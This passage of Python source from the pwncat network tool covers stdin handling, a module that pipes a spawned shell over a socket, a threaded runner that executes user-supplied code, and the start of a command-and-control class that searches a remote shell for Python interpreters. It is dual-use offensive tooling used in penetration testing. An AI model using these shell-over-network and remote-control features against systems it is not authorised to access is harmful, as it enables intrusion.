        """Stop function that can be called externally to close this instance."""
        # TODO: Does not work on windows as it has blocking read of stdin
        self.log.trace("STDIN-QUIT signal RAISE in IOStdinStdout.interrupt")  # type: ignore
        self.ssig.raise_stdin_quit()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __set_input_timeout(self):
        # type: () -> None
        """Throws a catchable EOFError exception for sys.stdin after timeout (Linux only)."""
        # rlist: wait until ready for reading
        # wlist: wait until ready for writing
        # xlist: wait for an exceptional condition
        if not select.select([sys.stdin], [], [], self.__opts.input_timeout)[0]:
            raise EOFError("timed out")

    def __stdin_israw(self):
        # type: () -> bool
        """Check if the terminal (STDIN) is set to raw mode."""
        # Non-posix systems (e.g. Windows) do not have a raw mode
        if self.__win:
            return False

        fild = sys.stdin.fileno()
        try:
            mode = termios.tcgetattr(fild)
        except termios.error:
            # Not a TTY
            return False

        # ICANON
        # https://linux.die.net/man/3/termios
        # The setting of the ICANON canon flag in c_lflag determines whether
        # the terminal is operating in canonical mode (ICANON set) or
        # noncanonical (raw) mode (ICANON unset). By default, ICANON set.
        return mode[tty.LFLAG] != (mode[tty.LFLAG] | termios.ICANON)  # type: ignore

    def __read_stdin(self):
        # type: () -> bytes
        """Returns input from STDIN."""
        # [1/3] (Windows) Normal/Raw mode
        if self.__win:
            if self.__py3:
                return sys.stdin.buffer.read()
            # Python 2 on Windows opens sys.stdin in text mode, and
            # binary data that read from it becomes corrupted on \r\n.
            # Setting sys.stdin to binary mode fixes that.
            if hasattr(os, "O_BINARY"):
                msvcrt.setmode(  # type: ignore
                    sys.stdin.fileno(),
                    os.O_BINARY,  # pylint: disable=no-member
                )
            return sys.stdin.read()  # type: ignore

        # [2/3] (Linux/Mac) Raw mode
        if self.__stdin_israw():
            # Issue #109
            # when pasting in term I donot get full line echo
            # To mitigate this, I'm disabling the select.select call on sys.stdin
            # self.__set_input_timeout()
            if self.__py3:
                return sys.stdin.buffer.read(1)
            return sys.stdin.read(1)  # type: ignore

        # [3/3] (Linux/Mac) Normal mode
        self.__set_input_timeout()
        if self.__py3:
            return sys.stdin.buffer.readline()
        return sys.stdin.readline()  # type: ignore


# -------------------------------------------------------------------------------------------------
# [6/11 IOCommand]: (5/5) IOCommand
# -------------------------------------------------------------------------------------------------
class IOCommand(IO):
    """Implement command execution functionality.

    Attributes:
        proc (subprocess.Popen): subprocess.Popen instance.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOCommand) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            opts (DsIOCommand): Custom module options.
        """
        super(IOCommand, self).__init__(ssig)
        self.__opts = opts
        self.log.debug("Setting '%s' as executable", self.__opts.executable)

        # Did we already run cleanup
        self.__cleaned_up = False

        # If we receive only one byte at a time, the remote end is most likely
        # in raw mode and we will also start sending one byte at a time.
        # This will be determined in the consumer and action is taken in
        # the producer.
        self.__remote_is_raw = False

        # Open executable to wait for commands
        env = os.environ.copy()
        try:
            self.proc = Popen(  # pylint: disable=consider-using-with
                self.__opts.executable,
                stdin=PIPE,
                stdout=PIPE,
                stderr=STDOUT,
                bufsize=self.__opts.bufsize,
                shell=False,
                env=env,
            )
        except FileNotFoundError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)
        # Python-2 compat (doesn't have FileNotFoundError)
        except OSError:
            self.log.error("Specified executable '%s' not found", self.__opts.executable)
            sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for input.

        Yields:
            str: Data received from command output.
        """
        assert self.proc.stdout is not None
        while True:
            if self.ssig.has_command_quit():
                self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (1)")  # type: ignore
                self.__cleanup()
                return
            self.log.trace("Reading command output")  # type: ignore
            # Byte-wise reading is required to make it work for remote ends being in raw mode
            # However, the performance of self.proc.stdout.readline() is way faster.
            # To improve performance we will get rid of all other logging calls here.
            if self.__remote_is_raw:
                data = self.proc.stdout.read(1)
            else:
                data = self.proc.stdout.readline()
            self.log.trace("Command output: %s", repr(data))  # type: ignore
            if not data:
                if self.ssig.has_command_quit():
                    self.log.trace("COMMAND-QUIT signal ACK IOCommand.producer (2)")  # type: ignore
                    self.__cleanup()
                    return
                # This usually happens when sending a semicolon only to /bin/[ba]sh
                # which then responds with: /bin/sh: line 5: syntax error near unexpected token `;'
                # Afterwards the shell is corrupt and gone so we will restart it here.
                self.log.error("COMMAND-EOF restarting: %s", self.__opts.executable)
                self.proc = Popen(  # pylint: disable=consider-using-with
                    self.__opts.executable,
                    stdin=PIPE,
                    stdout=PIPE,
                    stderr=STDOUT,
                    bufsize=self.__opts.bufsize,
                    shell=False,
                    env=os.environ.copy(),
                )
                continue
            yield data

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data received to stdin (command input).

        Args:
            data (str): Command to execute.
        """
        # If we only receive one byte at a time, also tell the consumer
        # to send one byte at a time immediately and not to wait for a full line.
        if len(data) == 1:
            self.__remote_is_raw = True
        else:
            self.__remote_is_raw = False

        assert self.proc.stdin is not None
        self.log.trace("Appending to stdin: %s", repr(data))  # type: ignore
        try:
            self.proc.stdin.write(data)
            self.proc.stdin.flush()
        except BrokenPipeError:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("COMMAND-QUIT signal RAISED IOCommand.interrupt")  # type: ignore
        self.ssig.raise_command_quit()
        self.__cleanup()

    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace(  # type: ignore
                "COMMAND-QUIT-CLEANUP: killing executable: %s with pid %d",
                self.__opts.executable,
                self.proc.pid,
            )
            self.proc.kill()
            self.__cleaned_up = True


# #################################################################################################
# #################################################################################################
# ###
# ###   7 / 11   P S E   S T O R E
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [7/11 PSE]: (1/1) PSEStore
# -------------------------------------------------------------------------------------------------
class PSEStore(object):
    """Pwncats Scripting Engine store to persist and exchange data for send/recv scripts.

    The same instance of this class will be available to your send and receive scripts
    that allow you to exchange data or manipulate themselves. You even have access to the
    currently used instance of the networking class to manipulate the active socket.
    As well as to the logger and InterruptHandler instances.
    """

    @property
    def messages(self):
        # type: () -> Dict[str, List[bytes]]
        """`Dict[str, List[bytes]]`: Stores sent and received messages by its thread name."""
        return self.__messages

    @messages.setter
    def messages(self, value):
        # type: (Dict[str, List[bytes]]) -> None
        self.__messages = value

    @property
    def store(self):
        # type: () -> Any
        """`Any`: Custom data store to be used in PSE scripts to persist your data between calls."""
        return self.__store

    @store.setter
    def store(self, value):
        # type: (Any) -> None
        self.__store = value

    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: Instance of InterruptHandler class."""
        return self.__ssig

    @property
    def net(self):
        # type: () -> List[IONetwork]
        """`IONetwork`: List of active IONetwork instances (client or server)."""
        return self.__net

    @property
    def log(self):
        # type: () -> logging.Logger
        """`Logging.logger`: Instance of Logging.logger class."""
        return self.__log

    def __init__(self, ssig, net):
        # type: (InterruptHandler, List[IONetwork]) -> None
        """Instantiate the PSE class.

        Args:
            ssig (InterruptHandler): Instance InterruptHandler.
            net (IONetwork): Instance of the current network class to manipulate the socket.
        """
        self.__messages = {}
        self.__store = None
        self.__ssig = ssig
        self.__net = net
        self.__log = logging.getLogger(__name__)


# #################################################################################################
# #################################################################################################
# ###
# ###   8 / 11   R U N N E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (1/2) InterruptHandler
# -------------------------------------------------------------------------------------------------
class InterruptHandler(object):
    """Pwncat interrupt handler.

    It allows all threads to raise various signal on certain actions,
    as well as to ask the Interrupt Handler what to do.
    The Interrupt handler will internally decide (based on pwncat's
    command line arguments) what to do.
    """

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, keep_open, no_shutdown):
        # type: (bool, bool) -> None
        """Instantiate InterruptHandler.

        Args:
            keep_open (bool): `--keep-open` command line argument.
            no_shutdown (bool): `--no-shutdown` command line argument.
        """
        self.__log = logging.getLogger(__name__)  # type: logging.Logger
        self.__keep_open = keep_open
        self.__no_shutdown = no_shutdown

        # Shutdown signals
        self.__terminate = False
        self.__sock_send_eof = False
        self.__sock_quit = False
        self.__stdin_quit = False
        self.__command_quit = False

        # Producers have received EOF
        self.__sock_eof = False
        self.__stdin_eof = False
        self.__command_eof = False

        def handler(signum, frame):  # type: ignore  # pylint: disable=unused-argument
            self.__log.trace("Ctrl+c caught.")  # type: ignore
            # logging.shutdown()
            self.raise_terminate()

        # Handle Ctrl+C
        # signal.signal(signal.SIGTERM, handler)
        signal.signal(signal.SIGINT, handler)

    # --------------------------------------------------------------------------
    # Ask for action
    # --------------------------------------------------------------------------
    def has_terminate(self):
        # type: () -> bool
        """`bool`: Switch to be checked if pwncat should be terminated."""
        return self.__terminate

    def has_sock_send_eof(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed for sending."""
        return self.__sock_send_eof

    def has_sock_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the socket connection should be closed."""
        return self.__sock_quit

    def has_stdin_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the STDIN should be closed."""
        return self.__stdin_quit

    def has_command_quit(self):
        # type: () -> bool
        """`bool`: Switch to be checked if the command should be closed."""
        return self.__command_quit

    # --------------------------------------------------------------------------
    # Raise Termination signal
    # --------------------------------------------------------------------------
    def raise_terminate(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        self.__log.trace("SIGNAL TERMINATE raised")  # type: ignore
        self.__terminate = True
        self.__sock_quit = True
        self.__stdin_quit = True
        self.__command_quit = True

    # --------------------------------------------------------------------------
    # Raise Socket signals
    # --------------------------------------------------------------------------
    def raise_sock_send_eof(self):
        # type: () -> None
        """Signal the application that Socket should be closed for sending."""
        # self.__log.trace("SIGNAL SOCK-CLOSE-SEND raised")  # type: ignore
        self.__sock_send_eof = True

    def raise_sock_eof(self):
        # type: () -> None
        """Signal the application that Socket has received EOF."""
        # self.__log.trace("SIGNAL SOCK-EOF raised")  # type: ignore
        self.__sock_eof = True
        self.raise_sock_quit()

    def raise_sock_quit(self):
        # type: () -> None
        """Signal the application that Socket should be quit."""
        # self.__log.trace("SIGNAL SOCK-QUIT raised")  # type: ignore
        self.__sock_quit = True
        self.raise_terminate()

    # --------------------------------------------------------------------------
    # Raise STDIN signals
    # --------------------------------------------------------------------------
    def raise_stdin_eof(self):
        # type: () -> None
        """Signal the application that STDIN has received EOF."""
        # self.__log.trace("SIGNAL STDIN-EOF raised")  # type: ignore
        self.__stdin_eof = True
        self.raise_stdin_quit()

    def raise_stdin_quit(self):
        # type: () -> None
        """Signal the application that STDIN should be quit."""
        # self.__log.trace("SIGNAL STDIN-QUIT raised")  # type: ignore
        self.__stdin_quit = True
        # If --no-shutdown or -keep-open is specified
        # pwncat will not invoke shutdown on a socket after seeing EOF on stdin
        if not (self.__no_shutdown or self.__keep_open):
            # No more data from stdin, we can tell the remote side we are done
            # by closing the socket for sending (they will receive an EOF).
            self.raise_sock_send_eof()

    # --------------------------------------------------------------------------
    # Raise COMMAND signals
    # --------------------------------------------------------------------------
    def raise_command_eof(self):
        # type: () -> None
        """Signal the application that Command has received EOF."""
        # self.__log.trace("SIGNAL COMMAND-EOF raised")  # type: ignore
        self.__command_eof = True
        self.raise_command_quit()

    def raise_command_quit(self):
        # type: () -> None
        """Signal the application that Command should be quit."""
        # self.__log.trace("SIGNAL COMMAND-QUIT raised")  # type: ignore
        self.__command_quit = True
        self.raise_terminate()


# -------------------------------------------------------------------------------------------------
# [8/11 IO RUNNER]: (2/2) Runner
# -------------------------------------------------------------------------------------------------
class Runner(object):
    """Runner class that takes care about putting everything into threads."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, fast_quit, pse):
        # type: (InterruptHandler, bool, PSEStore) -> None
        """Create a new Runner object.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            fast_quit (boo): On `True` do not join threads upon exit, just raise terminate and exit.
            pse (PSEStore): Pwncat Scripting Engine store.
        """
        self.log = logging.getLogger(__name__)

        # Dict of producer/consumer action to run in a thread.
        # Each list item will be run in its own thread
        self.__actions = {}  # type: Dict[str, DsRunnerAction]

        # Dict of timed function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__timers = {}  # type: Dict[str, DsRunnerTimer]

        # Dict of repeater function definition to run in a thread.
        # Each list item will be run in its own thread.
        self.__repeaters = {}  # type: Dict[str, DsRunnerRepeater]

        # A dict which holds the threads created from actions.
        # The name is based on the __actions name
        # {"name": "<thread>"}
        self.__threads = {}  # type: Dict[str, threading.Thread]

        self.__ssig = ssig
        self.__fast_quit = fast_quit
        self.__pse = pse

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def add_action(self, name, action):
        # type: (str, DsRunnerAction) -> None
        """Add a function to the producer/consumer thread pool runner.

        Args:
            name (str): The name for the added action (will be used for logging the tread name).
            action (DsRunnerAction): Instance of DSRunnerAction.
        """
        self.__actions[name] = action

    def add_timer(self, name, timer):
        # type: (str, DsRunnerTimer) -> None
        """Add a function to the timer thread pool runner.

        Args:
            name (str): The name for the added timer (will be used for logging the thread name).
            timer (DsRunnerTimer): Instance of DsRunnerTimer.
        """
        self.__timers[name] = timer

    def add_repeater(self, name, repeater):
        # type: (str, DsRunnerRepeater) -> None
        """Add a function to the repeater thread pool runner.

        Args:
            name (str): The name for the added repeater (will be used for logging the thread name).
            repeater (DsRunnerRepeater): Instance of DsRunnerRepeater.
        """
        self.__repeaters[name] = repeater

    def run(self):
        # type: () -> None
        """Run threaded pwncat I/O modules."""

        def run_action(
            name,  # type: str
            producer,  # type: DsCallableProducer
            consumer,  # type: Callable[[bytes], None]
            transformers,  # type: List[Transform]
            code,  # type: Optional[Union[str, bytes, CodeType]]
        ):
            # type: (...) -> None
            """Producer/consumer run function to be thrown into a thread.

            Args:
                name (str): Name for logging output.
                producer (function): A generator function which yields data.
                consumer (function): A callback which consumes data from the generator.
                transformers ([function]): List of transformer functions applied before consumer.
                code (ast.AST): User-supplied python code with a transform(data) -> str function.
            """
            self.log.trace("[%s] Producer Start", name)  # type: ignore
            for data in producer.function(*producer.args, **producer.kwargs):
                self.log.trace("[%s] Producer received: %s", name, repr(data))  # type: ignore

                # [1/3] Transform data before sending it to the consumer
                if transformers:
                    for transformer in transformers:
                        data = transformer.transform(data)
                    self.log.trace(  # type: ignore
                        "[%s] Producer data after transformers: %s", name, repr(data)
                    )

                # [2/3] Apply custom user-supplied code transformations
                if code is not None:
                    self.log.debug(
                        "[%s] Executing user supplied transform(data, pse) -> data function", name
                    )
                    pse = self.__pse
                    # Add current message to PSE store
                    if name in self.__pse.messages:
                        self.__pse.messages[name] = self.__pse.messages[name] + [data]
                    else:
                        self.__pse.messages[name] = [data]
                    # Execute script code
                    exec(code, {}, locals())  # pylint: disable=exec-used
                    data = locals()["transform"](data, pse)

                    self.log.trace(  # type: ignore
                        "[%s] Producer data after user supplied transformer: %s", name, repr(data)
                    )

                # [3/3] Consume it
                consumer(data)
            self.log.trace("[%s] Producer Stop", name)  # type: ignore

        def run_timer(name, action, intvl, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, InterruptHandler, Any, Any) -> None
            """Timer run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called in a given intervall
                intvl (float):     Intervall at which the action function will be called
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            self.log.trace("[%s] Timer Start (exec every %f sec)", name, intvl)  # type: ignore
            time_last = int(time.time())
            while True:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for timer action [%s]", name
                    )
                    return
                time_now = int(time.time())
                if time_now > time_last + intvl:
                    self.log.debug("[%s] Executing timed function", time_now)
                    action(*args, **kwargs)
                    time_last = time_now  # Reset previous time
                time.sleep(0.1)

        def run_repeater(name, action, repeat, pause, ssig, *args, **kwargs):
            # type: (str, Callable[..., None], int, float, InterruptHandler, Any, Any) -> None
            """Repeater run function to be thrown into a thread (Execs periodic tasks).

            Args:
                name (str):        Name for logging output
                action (function): Function to be called
                repeat (int):      Repeat the function so many times before quitting
                pause (float):     Pause between repeated calls
                ssig (InterruptHandler): Instance of InterruptHandler
                args (*args):      *args for action func
                kwargs (**kwargs): **kwargs for action func
            """
            cycles = 1
            self.log.trace("Repeater Start (%d/%d)", cycles, repeat)  # type: ignore
            while cycles <= repeat:
                if ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for repeater action [%s]", name
                    )
                    return
                self.log.debug("Executing repeated function (%d/%d)", cycles, repeat)
                action(*args, **kwargs)
                cycles += 1
                time.sleep(pause)

        # [1/3] Start available action in a thread
        for key in self.__actions:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [1]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_action,
                name=key,
                args=(
                    key,
                    self.__actions[key].producer,
                    self.__actions[key].consumer,
                    self.__actions[key].transformers,
                    self.__actions[key].code,
                ),
            )
            # Daemon threads are easier to kill
            thread.daemon = self.__actions[key].daemon_thread

            # Add delay if threads cannot be started
            delay = 0.0
            while True:
                if self.__ssig.has_terminate():
                    self.log.trace(  # type: ignore
                        "TERMINATE signal ACK for Runner.run [2]: [%s]", key
                    )
                    break
                try:
                    # Do not call any logging functions in here as it will
                    # cause a deadlock for Python2
                    # Start and break the loop upon success to go to the next thread to start
                    thread.start()
                    break
                except (RuntimeError, Exception):  # pylint: disable=broad-except
                    delay += 0.1
                    time.sleep(delay)  # Give the system some time to release open fd's
            self.__threads[key] = thread

        # [2/3] Start available timers in a thread
        for key in self.__timers:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [2]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_timer,
                name=key,
                args=(
                    key,
                    self.__timers[key].action,
                    self.__timers[key].intvl,
                    self.__timers[key].ssig,
                )
                + self.__timers[key].args,
                kwargs=self.__timers[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        # [3/3] Start available repeaters in a thread
        for key in self.__repeaters:
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for Runner.run [3]: [%s]", key)  # type: ignore
                break
            # Create Thread object
            thread = threading.Thread(
                target=run_repeater,
                name=key,
                args=(
                    key,
                    self.__repeaters[key].action,
                    self.__repeaters[key].repeat,
                    self.__repeaters[key].pause,
                    self.__repeaters[key].ssig,
                )
                + self.__repeaters[key].args,
                kwargs=self.__repeaters[key].kwargs,
            )
            thread.daemon = False
            thread.start()

        def check_stop():
            # type: () -> bool
            """Stop threads."""
            # [1/2] Fast shutdown
            # For Python < 3.3 we are unable to detect Ctrl+c signal during thread.join()
            # in a fast loop. Also for port-scan we will have thousands of threads that need
            # to be joined and the signal handler is unable to abort the whole program during that
            # time. Outcome is it would take a few minutes to abort during port scan.
            # The fix is to use a "faster" method to kill the threads.
            # 1. The port scanner threads need to be started in daemon mode
            # 2. the fast_quit param to Runner() must be set to True
            if self.__fast_quit:
                if self.__ssig.has_terminate():
                    self.log.trace("Fast quit - shutting down.")  # type: ignore
                    return True

            # [2/2] Normal shutdown for non-daemon threads
            else:
                for key in self.__threads:
                    if not self.__threads[key].is_alive() or self.__ssig.has_terminate():
                        for interrupt in self.__actions[key].interrupts:
                            # [1/3] Call external interrupters
                            self.log.trace(  # type: ignore
                                "Call INTERRUPT: %s.%s() for %s",
                                getattr(interrupt, "__self__").__class__.__name__,
                                interrupt.__name__,
                                self.__threads[key].getName(),
                            )
                            interrupt()
                            # [2/3] All blocking events inside the threads are gone, now join them
                            try:
                                self.log.trace(  # type: ignore
                                    "Joining %s", self.__threads[key].getName()
                                )
                                # NOTE: The thread.join() operating will also block the signal
                                # handler if we try to join too many threads at once.
                                self.__threads[key].join()
                                self.log.trace(  # type: ignore
                                    "Joined %s", self.__threads[key].getName()
                                )
                            except RuntimeError:
                                pass
            # If all threads are done, also stop
            if all([not self.__threads[key].is_alive() for key in self.__threads]):
                self.log.trace("All threads dead - shutting down.")  # type: ignore
                return True
            return False

        while True:
            if check_stop():
                sys.exit(0)
            # Need a timeout to not skyrocket the CPU
            if sys.version_info < (3, 3):
                # Signal Handler in Python < 3.3 is broken and might not catch on
                # a too small timeout invervall
                time.sleep(0.5)
            else:
                time.sleep(0.01)


# #################################################################################################
# #################################################################################################
# ###
# ###   9 / 11   C O M M A N D   A N D   C O N T R O L   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (1/3) CNC Exception classes
# -------------------------------------------------------------------------------------------------
class CNCPythonNotFound(BaseException):
    """CNC Exception handler."""


# -------------------------------------------------------------------------------------------------
# [9/11 Command & Control]: (2/3) CNC
# -------------------------------------------------------------------------------------------------
class CNC(object):
    """Command and Control base class."""

    __PYTHON_PATHS = [
        "/usr/bin",
        "/usr/local/bin",
        "/usr/local/python/bin",
        "/usr/local/python2/bin",
        "/usr/local/python2.7/bin",
        "/usr/local/python3/bin",
        "/usr/local/python3.5/bin",
        "/usr/local/python3.6/bin",
        "/usr/local/python3.7/bin",
        "/usr/local/python3.8/bin",
        "/bin",
        "/opt/bin",
        "/opt/python/bin",
        "/opt/python2/bin",
        "/opt/python2.7/bin",
        "/opt/python3/bin",
        "/opt/python3.5/bin",
        "/opt/python3.6/bin",
        "/opt/python3.7/bin",
        "/opt/python3.8/bin",
    ]

    __PYTHON_NAMES = [
        "python3",
        "python",
        "python2",
        "python2.7",
        "python3.5",
        "python3.6",
        "python3.7",
        "python3.8",
    ]

    __COLORS = {"yellow": "\x1b[33;21m", "reset": "\x1b[0m"}

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def remote_python(self):
        # type: () -> str
        """Discovered absolute Python remote path."""
        return self.__remote_python

    @property
    def remote_py3(self):
        # type: () -> bool
        """Is remote version Python3? Else it is Python2."""
        return self.__remote_py3

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    def __init__(self, network):
        # type: (IONetwork) -> None
        """Instantiate Command and Control class.

        Args:
            network (IONetwork): Instance of IONetwork

        Raises:
            CNCPythonNotFound: if remote Python binary path is not found.
        """
        self.__net = network
        self.__log = logging.getLogger(__name__)
        self.__py3 = sys.version_info >= (3, 0)  # type: bool

        # Along with the response the server might prefix/suffix data
        # such as a PS1 prompt (which might be send first or last with a newline)
        self.__remote_prefix = []  # type: List[bytes]
        self.__remote_suffix = []  # type: List[bytes]

        # Receive timeout value will be adjusted dynamically depending on the
        # speed of the server. We'll start high to allow for slow servers.
        self.__recv_timeout = 0.3
        self.__recv_rounds = 5
        self.__recv_times = []  # type: List[float]

        # [1/3] Check if there is data to be received first (e.g.: greeting)
        self.print_info("Checking if remote sends greeting...")
        greeting = self.send_recv(None, False, False)
        if greeting:
            self.print_raw(b"\n".join(greeting), True)

        # [2/3] Check if the remote sends a prefix with every reply
        self.__set_remote_prefix()

        # [3/3] Find potential Python versions
        if not self.__set_remote_python_path():
            self.print_info("No Python has been found. Aborting and handing over to current shell.")
            raise CNCPythonNotFound()

    # --------------------------------------------------------------------------
    # Print Functions
    # --------------------------------------------------------------------------
    def print_info(self, message=None, newline=True, erase=False):
        # type: (Optional[str], bool, bool) -> None
        """Print a message to the local screen to inform the user.

        Args:
            message (str): The message to print.
            newline (bool): Add a newline?
            erase (bool): Erase previously printed text on the same line.
        """
        end = "\n" if newline else ""
        prefix = "{}[PWNCAT CnC]{} ".format(self.__COLORS["yellow"], self.__COLORS["reset"])
        if message is None:
            message = ""
            prefix = ""

        if erase:
            print("\r" * 1024 + "{}{}".format(prefix, message), end=end)
            sys.stdout.flush()
        else:
            print("{}{}".format(prefix, message), end=end)
            sys.stdout.flush()

    def print_raw(self, message, newline):
        # type: (bytes, bool) -> None
        """Print a message to the local screen without color/prefix.

        Args:
            message (bytes): The message to print.
            newline (bool): Add a newline?
        """
        if self.__py3:
            end = b"\n" if newline else b""
            sys.stdout.buffer.write(b"".join([message, end]))
        else:
            end = "\n" if newline else ""  # type: ignore
            print(message, end=end)  # type: ignore

        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    # --------------------------------------------------------------------------
    # Network Functions
    # --------------------------------------------------------------------------
    def send(self, data):
        # type: (bytes) -> int
        """Send data through a connected (TCP) or unconnected (UDP) socket.

        Args:
            data (bytes): The data to send.

        Returns:
            int: Returns total bytes sent.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        return self.__net.net.send(data)

    def flush_receive(self):
        # type: () -> List[bytes]
        """Try to reveive everything which is currently being sent from remote.

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        self.print_info("Flushing receive buffer (this can take some time) ...")

        self.send(b"\n")
        data1 = self.send_recv(None, False, False)
        data2 = self.send_recv(None, False, False)

        self.print_info("Flushing receive buffer done.")
        return data1 + data2

    def send_recv(self, data, strip_suffix=True, strip_echo=False):
        # type: (Optional[bytes], bool, bool) -> List[bytes]
        """Send data through a connected (TCP) or unconnected (UDP) socket and receive all replies.

        Args:
            data (None|bytes): The data to send. If None, will skip sending.
            strip_suffix (bool): Strip remote suffix from received data?
            strip_echo (bool): Also remove 'data' from output if server has echo'ed it?

        Returns:
            List[bytes]: Returns a list of bytes of received data.

        Raises:
            socket.error:   Except here when unconnected or connection was forcibly closed.
        """
        # [1/4] Send
        if data is not None:
            self.__net.net.send(data)

        # [2/4] Receive actual reply
        responses = []

        # Setup timer and current receive round
        time_start = datetime.now()
        curr_round = 0

        while curr_round < self.__recv_rounds:
            try:
                response = self.__net.net.receive()
            except socket.timeout:
                time.sleep(self.__recv_timeout)
                time_step = datetime.now()
                time_diff = time_step - time_start

                self.__log.trace(  # type: ignore
                    "Timeout: Receive timed out after %f sec in %d/%d rounds",
                    time_diff.total_seconds(),
                    curr_round + 1,
                    self.__recv_rounds,
                )
                curr_round += 1
            # On successful read, we can determine to adjust timings.
            else:
                time_end = datetime.now()
                time_diff = time_end - time_start

                self.__recv_times.append(time_diff.total_seconds())
                self.__log.trace(  # type: ignore
                    "Timeout: Receive took %f sec (avg: %f) to receive in %d/%d rounds",
                    time_diff.total_seconds(),
                    sum(self.__recv_times) / len(self.__recv_times),
                    curr_round + 1,
                    self.__recv_rounds,
                )

                # Retries were required
                prev_recv_timeout = self.__recv_timeout
                if curr_round > 1:
                    self.__recv_timeout += time_diff.total_seconds()
                # No retries requred
                else:
                    self.__recv_timeout = time_diff.total_seconds() / 2

                self.__log.trace(  # type: ignore
                    "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec",
                    prev_recv_timeout,
                    self.__recv_timeout,
                )

                # Add response
                if response:
                    responses.append(response)

                # Reset the start time and round
                time_start = datetime.now()
                curr_round = 0

        # Return if already empty
        if not responses:
            return responses

        # Response could be in one of the below listed formats:
        # 1. response could be one line per element
        # 2. reposnse could be multiple lines per element
        # 3. response cloud be single characters per element
        # But we want to make sure that we always get one line per element,
        # so we normalize it

        # First: Join lines which do not have line endings
        self.__log.debug("Normalize recv before (1): %s", repr(responses))
        normalized = []
        has_eol = True
        for line in responses:
            if has_eol:
                normalized.append(line)
            else:
                normalized[-1] = normalized[-1] + line
            # Determine what to do next iteration
            if line.endswith(b"\r\n"):
                has_eol = True
            elif line.endswith(b"\n"):
                has_eol = True
            elif line.endswith(b"\r"):
                has_eol = True
            else:
                has_eol = False
        responses = normalized
        self.__log.debug("Normalize recv after  (1): %s", repr(responses))

        # Second: Separate lines which have line endings
        self.__log.debug("Normalize recv before (2): %s", repr(responses))
        normalized = []
        for line in responses:
            line = line.rstrip(b"\r\n")
            line = line.rstrip(b"\n")
            line = line.rstrip(b"\r")
            line = line.lstrip(b"\r\n")
            line = line.lstrip(b"\n")
            line = line.lstrip(b"\r")
            if b"\r\n" in line:
                for newline in line.split(b"\r\n"):
                    normalized.append(newline)
            elif b"\n" in line:
                for newline in line.split(b"\n"):
                    normalized.append(newline)
            elif b"\r" in line:
                for newline in line.split(b"\r"):
                    normalized.append(newline)
            else:
                normalized.append(line)
        responses = normalized
        self.__log.debug("Normalize recv after  (2): %s", repr(responses))

        # [3/4] Remove remote ends suffix (if it sends something like it)
        # We iterate reversed of responses and check if the new line suffix(es)
        # are present at the end.
        # This is because the suffix(es) is always received last.
        if self.__remote_suffix and strip_suffix:
            # If multiple suffix lines are send we will first strip x-1 suffix lines
            if len(self.__remote_suffix) > 1:
                lines_to_strip = len(self.__remote_suffix) - 1
                self.__log.debug("Remove suffix before (1): %s", repr(responses))
                responses = responses[:-lines_to_strip]
                self.__log.debug("Remove suffix after  (1): %s", repr(responses))

            # Return if already empty
            if not responses:
                return responses

            # Clean up the last response line with first suffix line
